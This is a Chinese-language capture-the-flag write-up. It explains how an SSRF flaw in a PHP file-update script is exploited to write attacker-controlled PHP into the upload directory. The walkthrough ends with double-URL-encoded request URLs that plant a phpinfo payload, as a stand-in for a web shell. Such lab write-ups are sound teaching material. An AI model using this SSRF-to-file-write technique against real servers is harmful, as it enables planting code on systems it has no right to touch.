首先题目给出了源代码
<?php if(isset($_GET) && !empty($_GET)){ $url = $_GET['file']; $path = "upload/".$_GET['path']; }else{ show_source(__FILE__); exit(); } if(strpos($path,'..') > -1){ die('SYCwaf!'); } if(strpos($url,'http://127.0.0.1/') === 0){ file_put_contents($path, file_get_contents($url)); echo "console.log($path update successed!)"; }else{ echo "Hello.Geeker"; }
这个题目首先get方式获取file和path参数,然后将file参数赋值给$url,path的值和upload/拼接后赋值给$path
其中$url的限制是在字符串的开始必须出现http://127.0.0.1/
$path不能出现 ..
然后两个参数传递进本题目的关键函数
file_put_contents($path, file_get_contents($url));这个代码的意思是,从$url获取内容然后写入$path中
通过访问 http://localhost/index.php?file=http://127.0.0.1/&path=2.php
页面返回:console.log(upload/2.php update successed!)
同时在http://localhost/upload/2.php写入了一个php文件,php的内容是:
可以看出,$url访问了http://127.0.0.1/,然后把读取到的内容写入到了2.php里面
因为返回的页面可以被参数$path控制,所以我想到用ssrf在服务器上写个shell
我们先做个实验,先访问:http://localhost/index.php?file=http://127.0.0.1/&path=<?php phpinfo(); ?>
看返回的页面:
可以看出返回的页面有<?php phpinfo(); ?>
想想我们能不能把这个页面写入到upload一个文件里面?
利用ssrf的原理访问这样的链接http://localhost/index.php?file=http://127.0.0.1/index.php?file=http://127.0.0.1/%26path=<?php phpinfo(); ?>&path=2.php
这里我们利用$url这个变量访问了http://127.0.0.1/index.php?file=http://127.0.0.1/&path=<?php phpinfo(); ?>
注意在url中&要变成%26
下面我们看看http://localhost/upload/2.php被写入了什么:
似乎没有成功,因为是ssrf做了二次访问,所以放在$path的参数也要做url二次编码
然后这样构造参数就好:
http://localhost/index.php?file=http://127.0.0.1/index.php?file=http://127.0.0.1/%26path=%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E&path=2.php
再访问一次http://localhost/upload/2.php